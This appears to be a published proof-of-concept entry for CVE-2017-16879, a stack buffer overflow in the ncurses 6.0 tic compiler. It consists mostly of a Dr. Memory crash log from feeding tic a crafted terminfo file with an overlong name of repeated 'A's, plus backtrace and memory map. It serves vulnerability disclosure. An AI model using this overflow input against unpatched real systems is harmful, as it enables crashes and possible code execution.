################ #Exploit Title: tic (GNU ncurses 6.0 library) Stack-based Buffer Overflow #CVE: CVE-2017-16879 #CWE: CWE-119 #Exploit Author: Hosein Askari #Vendor HomePage: https://www.gnu.org/software/ncurses/ #Version : 6.0.20160213 #Tested on: Ubuntu 16.04 #Category: Application #Author Mail : hosein.askari@aol.com #Description: Stack-based buffer overflow in the _nc_write_entry function in tinfo/write_entry.c in ncurses 6.0 allows attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted terminfo file, as demonstrated by tic. #Info:tic (GNU ncurses 6.0 library) compiles terminfo sources into loadable terminfo binaries, it has to be able to handle termcap syntax and compile that too into terminfo entries. ############################### function: write_entry.c MAX_TERMINFO_LENGTH 4096 MAX_ENTRY_SIZE 4096 ############################# #sudo ./drmemory -v -- /usr/bin/tic /home/constantine/crash.ti INFO: targeting application: "/usr/bin/tic" INFO: app cmdline: "/usr/bin/tic" "/home/constantine/crash.ti" INFO: logdir is "/home/constantine/Applications/DrMemory-Linux-1.11.0-2/drmemory/logs" INFO: symcache_dir is "/home/constantine/Applications/DrMemory-Linux-1.11.0-2/drmemory/logs/symcache" INFO: DynamoRIO configuration directory is /home/constantine/.dynamorio INFO: configuring tic pid=4801 dr_ops="-disable_traces -bb_single_restore_prefix -max_bb_instrs 256 -vm_size 256M -no_enable_reset -logdir `/home/constantine/Applications/DrMemory-Linux-1.11.0-2/drmemory/logs/dynamorio` " INFO: configuring client "/home/constantine/Applications/DrMemory-Linux-1.11.0-2/bin64/release/libdrmemorylib.so" ops="-logdir `/home/constantine/Applications/DrMemory-Linux-1.11.0-2/drmemory/logs` -symcache_dir `/home/constantine/Applications/DrMemory-Linux-1.11.0-2/drmemory/logs/symcache` -resfile 4801 " ~~Dr.M~~ Dr. Memory version 1.11.0 ~~Dr.M~~ (Uninitialized read checking is not yet supported for 64-bit) "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, col 8190, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': Too much data, some is lost: "/home/constantine/crash.ti", line 1, terminal 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA': terminal name too long. *** buffer overflow detected ***: /usr/bin/tic terminated ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7ffff65c47e5] /lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff666611c] /lib/x86_64-linux-gnu/libc.so.6(+0x117120)[0x7ffff6664120] /lib/x86_64-linux-gnu/libc.so.6(+0x116689)[0x7ffff6663689] /lib/x86_64-linux-gnu/libc.so.6(_IO_default_xsputn+0x80)[0x7ffff65c86b0] /lib/x86_64-linux-gnu/libc.so.6(_IO_vfprintf+0x139b)[0x7ffff659b50b] /lib/x86_64-linux-gnu/libc.so.6(__vsprintf_chk+0x84)[0x7ffff6663714] /lib/x86_64-linux-gnu/libc.so.6(__sprintf_chk+0x7d)[0x7ffff666366d] /usr/lib/x86_64-linux-gnu/libtic.so.5(_nc_write_entry+0x142)[0x7ffff6b4ad82] /usr/bin/tic[0x4034da] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7ffff656d830] /usr/bin/tic[0x403669] ======= Memory map: ======== 00400000-00411000 r-xp 00000000 08:01 18613691 /usr/bin/tic 00411000-00610000 ---p 00000000 00:00 0 00610000-00611000 r--p 00010000 08:01 18613691 /usr/bin/tic 00611000-00612000 rw-p 00011000 08:01 18613691 /usr/bin/tic 00612000-00613000 ---p 00000000 00:00 0 00613000-0063e000 rw-p 00000000 00:00 0 48bbc000-48bbd000 ---p 00000000 00:00 0 48bbd000-48bc3000 rw-p 00000000 00:00 0 48bc3000-48bc5000 ---p 00000000 00:00 0 48bc5000-48bc7000 rw-p 00000000 00:00 0 48bc7000-48bcd000 ---p 00000000 00:00 0 48bcd000-48bd3000 rw-p 00000000 00:00 0 48bd3000-48bd5000 ---p 00000000 00:00 0 48bd5000-48be3000 rw-p 00000000 00:00 0 48be3000-48be5000 ---p 00000000 00:00 0 48be5000-48bf3000 rw-p 00000000 00:00 0 48bf3000-48bf5000 ---p 00000000 00:00 0 48bf5000-48bf8000 rwxp 00000000 00:00 0 48bf8000-48bfd000 ---p 00000000 00:00 0 48bfd000-48c0b000 rwxp 00000000 00:00 0 48c0b000-48c0d000 ---p 00000000 00:00 0 48c0d000-48c13000 rwxp 00000000 00:00 0 48c13000-48c15000 ---p 00000000 00:00 0 48c15000-48c16000 rwxp 00000000 00:00 0 48c16000-48c1d000 ---p 00000000 00:00 0 48c1d000-48c1e000 rwxp 00000000 00:00 0 48c1e000-48c21000 ---p 00000000 00:00 0 48c21000-48c23000 rwxp 00000000 00:00 0 48c23000-48c25000 ---p 00000000 00:00 0 48c25000-48c33000 rw-p 00000000 00:00 0 48c33000-48c35000 ---p 00000000 00:00 0 48c35000-48c3b000 rw-p 00000000 00:00 0 48c3b000-48c3d000 ---p 00000000 00:00 0 48c3d000-48c43000 rw-p 00000000 00:00 0 48c43000-48c45000 ---p 00000000 00:00 0 48c45000-48c46000 rw-p 00000000 00:00 0 48c46000-48c4d000 ---p 00000000 00:00 0 48c4d000-48c5b000 rw-p 00000000 00:00 0 48c5b000-48c5d000 ---p 00000000 00:00 0 48c5d000-48c7b000 rw-p 00000000 00:00 0 48c7b000-48c7d000 ---p 00000000 00:00 0 48c7d000-48cbb000 rw-p 00000000 00:00 0 48cbb000-48cbd000 ---p 00000000 00:00 0 48cbd000-48ccb000 rw-p 00000000 00:00 0 48ccb000-48ccd000 ---p 00000000 00:00 0 48ccd000-48cda000 rw-p 00000000 00:00 0 48cda000-48ced000 ---p 00000000 00:00 0 48ced000-48d2b000 rw-p 00000000 00:00 0 48d2b000-48d2d000 ---p 00000000 00:00 0 48d2d000-48d5d000 rw-p 00000000 00:00 0 48d5d000-48d6b000 rwxp 00000000 00:00 0 48d6b000-48d6d000 rw-p 00000000 00:00 0 48d6d000-48d77000 rwxp 00000000 00:00 0 48d77000-48d81000 rw-p 00000000 00:00 0 48d81000-48d8f000 rwxp 00000000 00:00 0 48d8f000-48ed1000 rw-p 00000000 00:00 0 48ed1000-48edc000 rwxp 00000000 00:00 0 48edc000-48ef1000 rw-p 00000000 00:00 0 48ef1000-4905b000 rw-p 00000000 00:00 0 4905b000-4905d000 ---p 00000000 00:00 0 4905d000-4909b000 rw-p 00000000 00:00 0 4909b000-4909d000 ---p 00000000 00:00 0 4909d000-4910b000 rw-p 00000000 00:00 0 4910b000-4910d000 ---p 00000000 00:00 0 4910d000-4914b000 rw-p 00000000 00:00 0 4914b000-4914d000 ---p 00000000 00:00 0 4914d000-49429000 rw-p 00000000 00:00 0 49429000-4984d000 rw-p 00000000 00:00 0 4984d000-58bbc000 ---p 00000000 00:00 0 73800000-7390d000 r-xp 00000000 08:01 22022509 /home/constantine/Applications/DrMemory-Linux-1.11.0-2/bin64/release/libdrmemorylib.so 7390d000-73942000 rw-p 0010d000 08:01 22022509 /home/constantine/Applications/DrMemory-Linux-1.11.0-2/bin64/release/libdrmemorylib.so 73942000-73947000 rw-p 00000000 00:00 0 73947000-73948000 ---p 00000000 00:00 0 7ffff631c000-7ffff6332000 r-xp 00000000 08:01 25694607 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff6332000-7ffff6531000 ---p 00016000 08:01 25694607 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff6531000-7ffff6532000 rw-p 00015000 08:01 25694607 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff654d000-7ffff670d000 r-xp 00000000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff670d000-7ffff690d000 ---p 001c0000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff690d000-7ffff6911000 r--p 001c0000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff6911000-7ffff6913000 rw-p 001c4000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff6913000-7ffff6917000 rw-p 00000000 00:00 0 7ffff6917000-7ffff693c000 r-xp 00000000 08:01 25694741 /lib/x86_64-linux-gnu/libtinfo.so.5.9 7ffff693c000-7ffff6b3b000 ---p 00025000 08:01 25694741 /lib/x86_64-linux-gnu/libtinfo.so.5.9 7ffff6b3b000-7ffff6b3f000 r--p 00024000 08:01 25694741 /lib/x86_64-linux-gnu/libtinfo.so.5.9 7ffff6b3f000-7ffff6b40000 rw-p 00028000 08:01 25694741 /lib/x86_64-linux-gnu/libtinfo.so.5.9 7ffff6b40000-7ffff6b4e000 r-xp 00000000 08:01 18621233 /usr/lib/x86_64-linux-gnu/libtic.so.5.9 7ffff6b4e000-7ffff6d4d000 ---p 0000e000 08:01 18621233 /usr/lib/x86_64-linux-gnu/libtic.so.5.9 7ffff6d4d000-7ffff6d4e000 r--p 0000d000 08:01 18621233 /usr/lib/x86_64-linux-gnu/libtic.so.5.9 7ffff6d4e000-7ffff6d4f000 rw-p 0000e000 08:01 18621233 /usr/lib/x86_64-linux-gnu/libtic.so.5.9 7ffff6d69000-7ffff6d6a000 rw-p 00000000 00:00 0 7ffff6d6a000-7ffff6d80000 r-xp 00000000 08:01 25694607 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff6d80000-7ffff6f7f000 ---p 00000000 00:00 0 7ffff6f7f000-7ffff6f80000 rw-p 00015000 08:01 25694607 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff6f80000-7ffff6f81000 ---p 00000000 00:00 0 7ffff6f81000-7ffff6fa7000 r-xp 00000000 08:01 25691413 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff6fa7000-7ffff71a6000 ---p 00000000 00:00 0 7ffff71a6000-7ffff71a8000 rw-p 00025000 08:01 25691413 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff71a8000-7ffff71a9000 rw-p 00000000 00:00 0 7ffff71a9000-7ffff71aa000 ---p 00000000 00:00 0 7ffff71aa000-7ffff736a000 r-xp 00000000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff736a000-7ffff756a000 ---p 00000000 00:00 0 7ffff756a000-7ffff7570000 rw-p 001c0000 08:01 25694526 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7570000-7ffff7574000 rw-p 00000000 00:00 0 7ffff7574000-7ffff7575000 ---p 00000000 00:00 0 7ffff7575000-7ffff767d000 r-xp 00000000 08:01 25694505 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff767d000-7ffff787c000 ---p 00000000 00:00 0 7ffff787c000-7ffff787e000 rw-p 00107000 08:01 25694505 /lib/x86_64-linux-gnu/libm-2.23.so 7ffff787e000-7ffff787f000 ---p 00000000 00:00 0 7ffff787f000-7ffff79f1000 r-xp 00000000 08:01 18614401 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7ffff79f1000-7ffff7bf1000 ---p 00000000 00:00 0 7ffff7bf1000-7ffff7bfd000 rw-p 00172000 08:01 18614401 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 7ffff7bfd000-7ffff7c01000 rw-p 00000000 00:00 0 7ffff7c01000-7ffff7c02000 ---p 00000000 00:00 0 7ffff7c02000-7ffff7c28000 r-xp 00000000 08:01 25691413 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7c28000-7ffff7e27000 ---p 00000000 00:00 0 7ffff7e27000-7ffff7e28000 r--p 00025000 08:01 25691413 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7e28000-7ffff7e29000 rw-p 00026000 08:01 25691413 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7e29000-7ffff7e2a000 rw-p 00000000 00:00 0 7ffff7e2a000-7ffff7e2b000 ---p 00000000 00:00 0 7ffff7e2b000-7ffff7e2d000 r--p 00000000 00:00 0 [vvar] 7ffff7e2d000-7ffff7e2f000 r-xp 00000000 00:00 0 [vdso] 7ffff7e2f000-7ffff7fa6000 r-xp 00000000 08:01 22022364 /home/constantine/Applications/DrMemory-Linux-1.11.0-2/dynamorio/lib64/release/libdynamorio.so 7ffff7fa6000-7ffff7fdd000 rw-p 00177000 08:01 22022364 /home/constantine/Applications/DrMemory-Linux-1.11.0-2/dynamorio/lib64/release/libdynamorio.so 7ffff7fdd000-7ffff7fff000 rw-p 00000000 00:00 0 [heap] 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] Aborted (core dumped)